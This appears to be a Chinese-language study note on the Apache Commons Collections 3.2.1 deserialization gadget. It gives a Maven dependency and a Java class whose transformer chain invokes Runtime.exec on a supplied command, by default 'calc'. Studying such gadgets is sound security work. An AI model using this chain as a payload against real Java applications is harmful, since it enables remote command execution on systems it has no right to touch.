- Pom.xml里引入common-collections
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections --> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
package springbootsimple.demo;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;import java.util.Map;public class Run002 { public static void main(String[] args) throws Exception { String command = (args.length != 0) ? args[0] : "calc"; String[] execArgs = command.split(","); Transformer[] transforms = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer( "getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]} ), new InvokerTransformer( "invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]} ), new InvokerTransformer( "exec", new Class[] {String[].class}, new Object[] {execArgs} ) }; Transformer transformerChain = new ChainedTransformer(transforms); Map tempMap = new HashMap<String, Object>(); Map<String, Object> exMap = TransformedMap.decorate(tempMap, null, transformerChain); exMap.put("1111", "2222"); for (Map.Entry<String, Object> exMapValue : exMap.entrySet()) { exMapValue.setValue(1); } }}
参考资料